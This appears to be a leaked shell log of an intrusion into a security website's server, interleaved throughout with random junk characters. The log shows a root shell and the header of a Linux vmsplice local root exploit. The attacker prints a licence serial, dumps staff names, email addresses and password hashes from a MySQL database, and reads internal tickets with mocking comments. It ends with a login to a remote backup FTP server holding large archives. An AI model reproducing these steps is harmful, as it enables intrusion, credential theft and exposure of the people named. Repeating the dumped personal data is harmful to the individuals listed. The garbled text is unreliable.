-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql2 U9 q( C( M1 P- C: E
drwxr-xr-x 2 com com 4096 May 12 15:20 backup_system9 v+ f/ E1 N( |0 k" \" x9 r
-rw——- 1 com com 21880 Jun 2 08:07 .bash_history( f5 @5 {9 o6 t c( R
-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout9 e9 K: {3 u$ q- r$ v, D; o
-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile
+ i; l" }- X: z) e6 C" m-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc
9 R" v U1 U: Wdrwx–x–x 3 com com 4096 Jan 29 2008 domains
1 c" H9 ?' ]" C4 n% N-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed
& P! h3 j5 }, f" Cdrwxrwx— 3 com mail 4096 Jan 6 19:24 imap. P8 C# R" l' P+ m. {1 M
-rw——- 1 com com 69 Nov 18 2008 .lesshst3 k, u$ n* B/ Y$ B9 l
drwx—— 2 com com 4096 Sep 24 2007 mail
7 s' L; I' O3 @" |-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history4 J( y: x; Q- s3 R7 k
drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp: n* B: f/ D( X" K
lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html: i$ l2 |0 |5 y
-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
) d' @0 y& h$ }5 ]* xdrwx—— 2 com com 4096 Aug 26 2008 .ssh: d' e- n, D4 Y6 a5 T, a
-rwx—— 1 com com 8515 Feb 10 2008 t
; ~: I# b4 |# _; P2 [$ x-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c
0 r: @* f+ ~- t( fdrwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
0 [6 A* v7 A4 l! t1 {/ H-rw-rw-r– 1 com com 617 May 20 2008 .toprc
) @1 A1 ~( B' B0 Y* p7 _9 \-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql
2 G0 J: q( E' E; Y: W/ \, P-rw——- 1 com com 16629 Mar 28 21:46 .viminfo. X: r) U% [; C
-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
p9 ~% Y2 }- B2 G, i1 c0 n% h
2 t2 A! B, s( J5 Y' V" z+ Zsh-3.2# head t.c* Z; \6 `* }" U' l& ^
/*
+ h! X1 C* ^2 R. g5 N ]* jessica_biel_naked_in_my_bed.c; x; g5 b8 r6 D" ^% ?' r
*
2 m# p/ w( u& F6 b$ @* {1 \: r* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura." ~' r# H* K" G8 z) S
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca., }" |7 R3 [ F
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
4 U7 D3 h9 W2 O, g5 F; }/ I*1 [: v# n9 b3 ]7 R1 g: E! p
* Linux vmsplice Local Root Exploit
' t2 F: i8 W' Q5 L) m* By qaaz! v* @: k& z4 t2 \
*
+ v' E4 T2 l! e& Y+ E- `$ c4 L4 I; ^; [4 d# z+ U" D
sh-3.2# cd /
9 P: j3 J5 z6 Ish-3.2# ls -la
% D+ D$ ]6 o1 u# Jtotal 360- V( \2 S4 P% x d
drwxr-xr-x 25 root root 4096 Jun 3 02:43 . z' A9 m( M& t- Q j- m
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..: o% t8 j3 v4 Y$ W, J$ Y
-rw——- 1 root root 10240 Jun 3 02:39 aquota.group
: N4 ~' B$ r- H1 `* K$ a# G-rw——- 1 root root 10240 Jun 3 02:39 aquota.user8 a4 |7 Q% I; p
-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
' e& f; [( q' v8 o$ m3 }/ Y& {-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck, @, N, e* A( }
-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel
" P9 i5 k4 v, K7 M$ r3 A udrwxr-xr-x 3 root root 4096 Dec 29 2007 backup" g5 V0 z) d4 h$ v1 `: W
drwxr-xr-x 2 root root 4096 Jun 4 04:03 bin. n3 Y/ Q% k% M- z6 r- E! B: C& f
drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot
# ?9 l4 r5 O9 e" adrwxr-xr-x 11 root root 3620 Jun 3 02:43 dev. J. m: ~$ I' F
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
V1 s* Z; V' d- K( a5 S( {, jdrwxr-xr-x 14 root root 4096 Mar 11 17:56 home
* y; F- Q- E( H/ x) R-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf
. M u: C( X5 @3 K8 Q: k1 Zdrwxr-xr-x 11 root root 4096 Jun 4 04:02 lib& L/ P4 f' P0 J$ F- N' @
drwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64$ ?' n* a2 n" s4 T5 X
drwx—— 2 root root 16384 Sep 11 2007 lost+found
0 a9 m* b: d. ndrwxr-xr-x 2 root root 4096 Mar 11 17:56 media5 u: e8 }1 s* e P
drwxr-xr-x 2 root root 0 Jun 3 02:43 misc
2 y$ O G' y! o3 L* vdrwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt0 p& N2 N x" b* a
-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg
1 q- u. u7 v. \7 ?" Ldrwxr-xr-x 2 root root 0 Jun 3 02:43 net) @, O8 Y, B& V) t7 J6 Z
drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt0 a) ?4 Y- ]0 C7 f* a. ? S
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc' y9 R$ a* D: C5 e
drwxr-x— 15 root root 4096 Jun 4 08:40 root
/ k5 ~2 }9 e" e3 J9 C9 ~drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin6 b1 w% U) x. Q' I" w6 e
drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
9 a; y5 `/ @' D2 m* J. zdrwxr-xr-x 2 root root 4096 Mar 11 17:56 srv
2 w4 W+ l }. o- Sdrwxr-xr-x 11 root root 0 Jun 3 02:42 sys
, |% T7 F. {4 y* k; S% x0 v" g) Fdrwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp1 D9 f/ y6 B/ A9 b
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr
3 O1 Y6 n9 U/ y1 z, O0 ?drwxr-xr-x 26 root root 4096 Jun 4 03:16 var5 x* b# m1 I( r: u! _* V0 A
4 S8 u8 R6 w1 m3 s$ Y0 }- r7 Y9 w
sh-3.2# cd opt
, K' F8 T9 m+ w: bsh-3.2# ls -la
! e! G( \6 y( ]8 M+ j6 E# H Mtotal 20
1 t% M% l; N6 T% ]3 |drwxr-xr-x 3 root root 4096 Mar 11 17:56 .# n/ V6 J4 @$ [
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
% x& T# K8 p- [# C0 P" sdrwxr-xr-x 15 root root 4096 Mar 20 2008 lsws# s$ w. T( s0 J/ n+ h! u3 d
& _9 G7 @7 f h; P
sh-3.2# cd lsws/. }/ e; G) e" U5 L
sh-3.2# ls -la) R3 G9 a# ?1 R5 ~& v2 g* M
total 108- d$ ~& v2 G" T7 Q* v4 c9 N/ D, M
drwxr-xr-x 15 root root 4096 Mar 20 2008 .: _3 i% O3 h2 P# ^0 v: z) s
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
9 ~7 d) F# P( D7 t, n1 |& B' ~drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons
% g) v9 z) B: D; Fdrwxr-xr-x 13 root root 4096 May 29 15:10 admin% ?/ r9 v9 d5 p! L5 z
drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate0 m- }, m2 F. S6 b9 q) ?
drwxr-xr-x 2 root root 4096 May 29 15:10 bin
3 J4 T/ Y Y1 g$ C' i3 Odrwx—— 4 apache apache 4096 Jun 3 02:43 conf2 {: \- B9 g8 A. n" N
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT9 X l# F& `1 `! {' U1 t
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs$ U! k7 s: s1 X% ]
drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
8 q9 e& d# A, F1 s8 p, Edrwxr-xr-x 2 root root 4096 Sep 15 2008 lib/ I2 }2 m0 i, Y7 j d$ h8 K
-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE
( f9 F# b- P" `$ N, {( W& v-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP3 A3 n" p' C: j( e6 n. v0 t& b
-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
, S! o2 X; ]. q# {. S-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP+ ?1 E9 ?* z3 C9 w5 \* O
drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs8 p: ^' W) L/ e5 W* n
drwxr-xr-x 2 root root 4096 Mar 20 2008 php
5 O7 ]3 X8 M) D A. {6 b4 `drwx—— 2 apache apache 4096 Mar 20 2008 phpbuild2 j+ ?: [- q$ z( S: ?+ {3 D4 r h Q# S
drwxr-xr-x 3 root root 4096 Mar 20 2008 share
' ~% ~# e6 r, q-rw-r–r– 1 root root 6 May 29 15:10 VERSION9 x' t/ H5 g6 @/ Q
& l0 _' A) q) @ ^! ^4 jsh-3.2# cd conf4 O1 [& O% ~' s" R0 d
sh-3.2# ls -la
0 v( H( f/ t. u$ M+ xtotal 484 H1 g, a, e- F1 k! s) \8 G
drwx—— 4 apache apache 4096 Jun 3 02:43 .1 A: f7 c5 J1 V
drwxr-xr-x 15 root root 4096 Mar 20 2008 ..
7 o& Z0 _$ n9 I) zdrwx—— 2 apache apache 4096 Mar 20 2008 cert- ~1 X2 F) J+ q1 X2 B9 h
-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml1 q* ~! ?5 K1 [; P7 w/ V) y- [
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
: X% V) h+ v- _; d$ k, `$ x9 K-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
! z1 h. C+ `) @-rw——- 1 apache apache 256 May 29 15:10 license.key
- @1 q t* H" [ i [7 k-rw——- 1 apache apache 256 Mar 21 2008 license.key.old+ | p2 n0 S, A+ P$ {$ g; J S
-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties5 X5 o! f+ ^3 n, l1 p& m6 G! l( Y
-rw——- 1 apache apache 20 May 29 15:10 serial.no7 g) F: Q' u, I
drwx—— 2 apache apache 4096 Mar 20 2008 templates
8 s7 }+ y' V* U* S' Y# v/ `& { h$ M% P4 `- Q) _& c6 Q9 w. Q* O
sh-3.2# cat serial.no- s/ f; J! ]& l
IbDl-oVsO-CKqL-wVRa
2 k1 F5 C' j1 O" X% u9 R1 Q1 D
; _: ?% U5 b2 Z3 G$ K# O. N/ w1 Esh-3.2# mysql. o/ j* d( ]8 R' s& ^: `% |& G
Welcome to the MySQL monitor. Commands end with ; or \g.7 j; H. \* F: A6 f, z
Your MySQL connection id is 286844
/ V& i2 a* ~/ i8 R/ P9 BServer version: 5.0.45-community-log MySQL Community Edition (GPL)
5 p3 H2 r4 W6 e2 N- g8 r U) y3 @ c* ~# e9 }
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
, c% M0 L. e9 t9 T: L3 X& D- f
mysql> show databases;
9 ?$ G1 a4 r, s$ s. Y( e2 j+———————–+3 I. L' @- y4 g. j' K8 C1 |! o
| Database |) l6 ~5 `" c! D. W( V- L$ a, Q
+———————–+
9 T/ y, M/ Q4 G! U| information_schema |1 c5 `) [- o3 A0 D; ^
| astanet_ads |9 i& D) f0 }( q, g( V4 `" x- L* }9 V1 V
| astanet_mailing_lists |% ~. ~' s0 i, O. q5 d; A. ]
| astanet_mediawiki |
/ T# t( Z( T+ L! s& \0 L& z| astanet_membersystem |2 }- R9 R3 |2 P# A
| com_contrexx |
9 E- X, g" V- X* A& A. p| com_contrexx2 |6 i( r9 R$ d) R0 X# R9 U
| com_contrexx2_live | G, t3 c2 x; t, r+ r1 e* X. v
| da_roundcube |
8 M7 D/ d, Q0 K$ q' c' Z( K| dolphin |: p8 r1 M# z' O8 v# x& i7 X
| ideapool |
/ Q! Q( \/ K' Y* B5 J- u| mysql |
. k) ]( p, k3 @6 w| test |
0 z. a1 m5 a: K+ T ]2 }) }| yourmaster |
* ?/ ]2 r: C+ S0 S3 ^3 `+———————–+8 y! }" a* k! s3 M& L, n2 p
14 rows in set (0.00 sec)& E4 X" V) S2 T/ y- j
2 r7 b G( H o6 @mysql> use ideapool. A' Y1 f2 p- c; r6 y2 v' Y: b
Database changed
( V) Y3 v# X9 F6 M( s( Wmysql> show tables;% P2 `7 _# ?' }. W. [! f& N; Z
+———————————–+3 e, f% `' E3 G' U6 s% v
| Tables_in_ideapool |
6 _4 V' h& Q$ p+———————————–+* |& B5 f+ L9 q
| eventum_columns_to_display |8 u; J- a. k3 X7 @
| eventum_custom_field | x- Q7 o2 a% J
| eventum_custom_field_option |
: z$ N$ [- g, F5 e# {| eventum_custom_filter |& R6 u: T. c) z/ g6 \
| eventum_customer_account_manager |
4 ]# b# D& F! o% T) f# u: _) j$ ]| eventum_customer_note |
% t% I; @5 R, z# d7 E& I4 E| eventum_email_account |7 D) f/ I; h" t( X3 }( q, ?
| eventum_email_draft |& ^! A7 t1 g- G9 m
| eventum_email_draft_recipient |
8 l x1 N4 ]: }! x| eventum_email_response |$ R% s6 W; h; G2 ~5 e
| eventum_faq |" G l# |* K: C, `3 k% O+ d' m
| eventum_faq_support_level |' r. z5 b1 H5 O. Y M0 F
| eventum_group |1 v, x" k: m# I! ^7 K
| eventum_history_type |+ @3 `% ^3 ]- E0 K, ]' v
| eventum_irc_notice |
) U m' T. a. `; R+ z| eventum_issue |
: u+ ?9 J# Z+ r- T| eventum_issue_association |6 U# L4 C- c4 `! l) f. d# X \
| eventum_issue_attachment |8 ~& ~6 M& b# ]. H/ _, V7 h* G
| eventum_issue_attachment_file |
* {8 @! ~5 c8 f% l| eventum_issue_checkin |3 z$ V1 d' g( p
| eventum_issue_custom_field |' {: h, O3 B, g
| eventum_issue_history |
0 d U, L$ W2 ~0 T| eventum_issue_quarantine |
3 B; Q1 D, i! t. X; J| eventum_issue_requirement |
& d; Y* @* ?1 z2 q8 x% j5 || eventum_issue_user |
) C* Q7 E3 x4 m5 A, ?8 H1 m| eventum_issue_user_replier |) i h. {' Z& p: k8 M# c. R
| eventum_link_filter |
8 z2 w7 a/ y+ K4 f6 j| eventum_mail_queue |9 j' a) ^. F% h2 i
| eventum_mail_queue_log |
, o# j( y5 P4 X+ ~| eventum_news |( Z- V+ b J8 r4 M
| eventum_note |1 k0 U( L3 M& ]
| eventum_phone_support |
+ D" P( y, }7 b O. D; @| eventum_project |. N% t h$ v' Z0 g/ N$ Y# @- {
| eventum_project_category |/ q6 c' R0 ~1 I0 v1 O: j! d
| eventum_project_custom_field |
# V7 _* x9 C- _, i% r+ y6 c. Q| eventum_project_email_response |9 y# k9 `) H5 |' J3 P" V* w7 l
| eventum_project_field_display |2 ?' {4 q7 T" O: k% y/ B# i' B
| eventum_project_group |6 D4 n) j) @- j. A$ i. Z
| eventum_project_link_filter |- K7 s$ X/ U+ w
| eventum_project_news |! y/ `+ n$ y. p1 ]3 L1 c) M# c
| eventum_project_phone_category |
8 n/ e; s! V Z& C: ^2 w7 r y; H| eventum_project_priority |
! e d( E) ^* t, C3 J, b, l: P| eventum_project_release |& s B' }/ k8 y5 p: u
| eventum_project_round_robin |
$ A/ y: s5 S9 }. X# C; P0 J9 `' L| eventum_project_status |8 I3 b+ M+ X( s: _, E* j `! o
| eventum_project_status_date |1 u0 [0 }# o! ~4 l* e5 [0 V
| eventum_project_user |
0 }: _2 t3 z% J. Q( Z| eventum_reminder_action |
9 n* T; B$ ~3 V7 O8 l# L( I| eventum_reminder_action_list |9 j* ^% D5 S3 G2 b4 v9 S
| eventum_reminder_action_type |
+ Z; Z. K- W6 G0 S% ]! s' L2 y: ^. B| eventum_reminder_field |5 ]1 \; n0 I5 |4 I
| eventum_reminder_history |
' w% X' _4 [9 D| eventum_reminder_level |
; s! N- ]& _& ]2 h$ S| eventum_reminder_level_condition |' \) Z6 ^5 e2 i' ] X, i4 h4 W2 h
| eventum_reminder_operator |
! y) T, U) j3 |: H| eventum_reminder_priority |
/ _$ U" e/ p/ C% T- P# B| eventum_reminder_requirement |
' K: I- N3 _. B3 A: Y% g| eventum_reminder_triggered_action |- R& L3 O1 F% t( I2 u0 V' e. y
| eventum_resolution |
; u; C8 c8 {2 P' q; Q+ Q| eventum_round_robin_user |; V W7 o0 g' g/ ~1 B! E
| eventum_search_profile |8 c( ~" {/ z7 F) s5 B
| eventum_status |
, W% d+ h- P9 D% w! R* D| eventum_subscription |; m6 t( y/ p4 Z0 U I
| eventum_subscription_type |: ]; c0 w# y/ ~2 G
| eventum_support_email |
. Z1 O7 u- c2 n# C7 a% `| eventum_support_email_body |/ l6 W* d8 u7 L6 v) @; h% B
| eventum_time_tracking |
: i) J5 {- C" A# c( G: ^, D| eventum_time_tracking_category |$ | Q& {5 U: P! l% Z N
| eventum_user |
, p* e* A: g# _6 e6 Z! q+———————————–+
v; D2 F# k/ g* V. i69 rows in set (0.00 sec)
" o* g( ^& R- `( i5 F2 o+ W
, ~6 v# H! t9 b; l/ c5 q6 S& `* Zmysql> describe eventum_user;8 V: O% V/ r" `! Z5 ], a z) f- _
+————————-+——————+——+—–+———————+—————-+
" e& N4 d. }% t( T. G| Field | Type | Null | Key | Default | Extra |/ o6 J5 i# ?" T- u2 t+ l( j. P+ x/ P
+————————-+——————+——+—–+———————+—————-+( M, r- p) G' c$ \: H
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment | x. ?% S9 }4 j( a" I
| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |( ^/ d6 C) ]" g; a/ ~" s# H" L$ A: q
| usr_customer_id | int(11) unsigned | YES | | NULL | |( s0 k; T% j* h0 Z! f& Y. ]
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |
/ `: Y8 R0 v( P, ]7 Z6 B' E| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |* {; _, o5 x* f# \
| usr_status | varchar(8) | NO | | active | |7 X8 G+ i; r, j Y N+ o" ]5 `
| usr_password | varchar(32) | NO | | | |
r- k# z1 `+ K| usr_full_name | varchar(255) | NO | | | |2 t! v3 j% v0 I" ]9 a
| usr_email | varchar(255) | NO | UNI | | |
6 x: P! D t( ^( i5 x/ s| usr_preferences | longtext | YES | | NULL | |3 f( L6 G7 H8 n0 Q( ?3 d
| usr_sms_email | varchar(255) | YES | | NULL | |
N; [9 |% ]7 D8 F W4 l| usr_clocked_in | tinyint(1) | YES | | 0 | |' p. H+ E: g$ \8 Y) B7 j: Z
| usr_lang | varchar(5) | YES | | NULL | |8 S7 J- c8 @+ [& s
+————————-+——————+——+—–+———————+—————-+4 S, Y" M9 A; M; d" X
13 rows in set (0.00 sec)
- I& |* n3 M9 Z8 e, ]: h0 \1 p& |* n* v/ |' p. e. x
mysql> select usr_full_name,usr_email,usr_password from eventum_user;- C5 b& |- r. Z2 {
+———————-+——————————-+———————————-+
2 F1 m) G9 L+ b3 _& X- k7 v: T7 R| usr_full_name | usr_email | usr_password |
5 S( ~) x, A! q, _! h/ b' s# p+———————-+——————————-+———————————-+
2 w( c8 ^: s3 u' f, R0 a5 E| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |- a# _! ]1 q6 J5 |2 g; Z k& ~1 |5 L
| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |) k6 s8 w" w" T$ K. B
| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |$ E' j3 M5 B+ ^; |
| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
) b Y" l) h! Y i# Q| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |
: _; A# ^$ g; _! w. ?| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |
! p& v$ ]( P# E3 n4 y6 X9 u| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |
: a2 Z8 i' B, x T8 d: p| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |8 R% L* I$ k1 C! r
| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |7 e* t! m' P# n4 W+ ^! ^! W; i, D% ?
| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
" w7 @6 v0 U/ u8 C/ \| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |
1 E, ~: N/ n5 E3 o: G8 C# {| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |( ? |0 g y' R0 W- M
| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |
, g" o6 n2 j. @+ J$ R| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |
7 t4 D$ m4 Q! ], R: R| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |
% m: N' Q9 j% U$ L+———————-+——————————-+———————————-+$ k/ ?! O; A1 ?" O% y# R! [4 c
15 rows in set (0.00 sec)( N2 `- l$ ]$ }) Z9 o
, @ U0 u( X9 }
mysql> select iss_description from eventum_issue where iss_id = 43;
" H4 l ?) e9 Q6 y9 L+ K+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+, g7 E/ A2 Q2 ^& C: Y
| iss_description / Z" r( W+ h+ O( \, F
|, ~9 x7 x! A+ d1 B( l
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+5 [7 _/ ?6 B9 \3 t) |- v1 z
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be5 ^: ?4 [! j* r5 O, \, X
connected for 90 mins… 120mins… so what i propose is something like:$ z: F! J9 M: Y
链接标记[url]http://www.surfthechannel.com/[/url]$ ~0 o3 O4 W( q" _- V
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system- T& F; a3 t. r4 h5 O) |
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t6 h6 j+ H5 D f9 `
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off: f: x2 l9 }: Q6 |& ^" a" U5 u0 ^
if they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…
5 F- c( \! v5 X+ S; w& k8 ?+ T# {! c0 W2 n5 l. G
We could also put advertisement during play on the flash video player itself… extra $$…
5 S3 [+ c t5 c% ~2 I' T1 ^; K5 v3 _8 N/ a! A( f F# r
By sykadul |
4 {# [* t7 e. Q5 Y, }+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
9 k$ ?. M, x# t/ M1 row in set (0.00 sec)
* f4 N/ L* @' |4 {- K, A! x' g6 _( `: r7 @/ H: V0 r- F3 }# |, E
// Money and extra $$ is all they care about. remember that.5 a) J( X2 v5 g% p5 i4 I
+ T+ J% D1 _3 O: R- {0 H8 ?+ Q9 P
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
7 N1 q/ T' X1 e! [! j- K+ U! J+————————+——————————————————————————————————————————————————————————————————————————————-+
% |% w, T# M3 F4 {! |1 j/ K) D1 D2 a. s8 S| iss_summary | iss_description \2 G. U) A( l0 m
|
) y. i; d: R- L7 @+————————+——————————————————————————————————————————————————————————————————————————————-+6 [2 x8 x$ Y% r' r! ~6 J5 V1 c
| Forum for REAL EXPERTS | Hello,
8 L2 R9 L/ Z* t3 ^2 `: P( S, Q! O
* X6 A Q3 e ~7 X4 K; ?Ishtus and I,
6 { m0 G6 s ^& V+ F8 b% Q
6 Y$ P' g3 ~3 u! C& ICame up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide/ D& v* K8 e$ o' v) z' R
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
( D: I n4 [% d+ T, ?& c2 J: x; V& l* V8 ]3 o* b
One example a friend of mine from coresecurity.com!- F( b3 U, Q N( D) F! F- o5 `2 K
" n, {5 W+ b8 \, n! I$ K8 S
We could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..: O" z# u! b8 L! K% l
& L) _5 l0 ?. U- g
|: l$ D4 F9 ^& @1 M% |: L
+————————+——————————————————————————————————————————————————————————————————————————————+" a) J& j, B6 t
1 row in set (0.00 sec)
4 p# ?, {: K3 n6 `9 ]" f. x- }5 ~, I& @# `
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…
$ t& z3 h7 A' ]. @, |' Y" Z) d9 I7 o# a
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
1 l5 C( J8 C( N* L+——————+———————————————————————————————+, C% H4 D. q' E; S5 D
| iss_summary | iss_description |
! h% l- P) Z0 z' i+ U0 F" U+——————+———————————————————————————————+/ D# N- ]- m0 r: R9 M# Q# A6 f
| Website guidance | Virtual Girl which guides you trought the website.' h0 S8 H m* T% v
# K* J1 V u# I; |7 L1 m' s
We need a girl with who you can ( talk )!!!& v0 P; b. {6 T. {# n8 m# ]1 R: y
Also for the News!' _& H# m4 q5 m# ]
So my suggestion is a girl who read you the news loud if you like!
$ l, f( k; C6 Myou can choose between read yourselfe or she read it for you or both!
3 g& ^! D l" J. R' R& V! ^: v6 |+ v; p6 X8 K3 t
Go to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!9 k' c. B: K4 s* Q0 g; b
2 ^- z9 Q: z4 xHave a look on the example girls!!, j& E6 ~# e4 f& y! p/ o* ]
! ?3 w! @ X9 d; m链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
' x% R$ B* }) O+ Y( W+ P; K# u, k6 p
or that2 M" B1 s$ Q' w+ F2 F
# w% ^$ c' L; @6 M5 \链接标记[url]http://www.yellostrom.de/[/url]
$ |5 W3 J+ J1 N7 u. Z# b. c# c6 z% n$ f5 _2 y
|1 ?5 v' r+ m u6 p6 p7 A9 {9 R. t
+——————+———————————————————————————————+
0 w4 U* L9 _+ z; w1 @# {1 row in set (0.00 sec)8 Q9 g. K. {. c! f2 {' L: ~1 C, k$ L
/ m6 Y# {) W( `! T( r: b// ha ha.
; K% j8 t4 {3 I0 S/ c4 _( z, S% V) C3 c, n, a( m3 K
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;2 I* s7 m$ K7 R, u
+————————–+———————————————————————————————————–+
6 e+ Y$ q" ]" H* M M| iss_summary | iss_description |" c* k8 K; u, _ L; ]4 c3 Q
+————————–+———————————————————————————————————–+1 T! R9 D* C# @5 N
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
: U8 N( e! t& [/ m) T+————————–+———————————————————————————————————–+/ ~1 s( D9 L" \9 `+ t; x
1 row in set (0.00 sec)
0 t* O, K5 c- o5 X5 @% _5 r' _$ u
, }# u% ?, c' u// LOL.% C4 {' \$ y; h* V9 I. S
* M/ `6 t2 M) k/ Ymysql> exit( t/ v: ]' x! V1 t
Bye
+ K; Z3 U* _# ~7 A, ^. o5 _3 |' ~
3 ?9 f2 }4 X: e9 l' g: p. jsh-3.2# ftp 212.254.194.163; X2 c6 B1 i8 X5 K# f% [
Connected to 212.254.194.163.* M8 L/ n" C2 h* P2 P/ C: n4 g9 W
220 BackupCOM_VW FTP server ready.
: Q% Z4 x: L6 t/ E504 AUTH: security mechanism ‘GSSAPI’ not supported.
3 D0 E! }& P$ q0 D# x- w504 AUTH: security mechanism ‘KERBEROS_V4′ not supported., |# \$ l' p# D* e4 y$ \
KERBEROS_V4 rejected as an authentication type7 G9 ?7 [0 \5 Q. y6 E. y$ {
Name (212.254.194.163:root): astalavista.com) ?9 l6 T9 k9 s" i0 b
331 Password required for astalavista.com.1 p' d; c, s5 [+ [. l5 G
Password:8 t) Z* J+ j W- o" n! l
230 User astalavista.com logged in.
: Z \( A% F& D2 A/ fRemote system type is UNIX./ W, J4 s: i+ Z+ a3 O% W/ G7 A3 M r
Using binary mode to transfer files.$ s) M! `" e; s. l+ w9 b
ftp> ls -la
* ~6 e* K% [6 o' A3 g227 Entering Passive Mode (212,254,194,163,2,188)
! Z2 D+ u; l2 n( U150 Opening BINARY mode data connection for ‘file list’.
; O, ?! P7 ? f. {dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com
9 ~6 z& k2 O: E+ R* P4 w- `6 c* Z226 Transfer complete.' V' d( {, }' a
ftp> cd astalavista.com6 n- A" m1 X1 h8 O* I+ g0 ` S. r7 O
250 CWD command successful. y/ A7 B Y" C% l5 D6 X- H+ m
ftp> ls -la
% s# e1 b- X$ T6 l0 o0 ? y0 T227 Entering Passive Mode (212,254,194,163,2,189)& ]8 T( s( L) S3 c0 a4 z
150 Opening BINARY mode data connection for ‘file list’.( G' V) E' Q" M# O5 q
-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar5 w) |$ C7 w8 ]! g6 y
-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
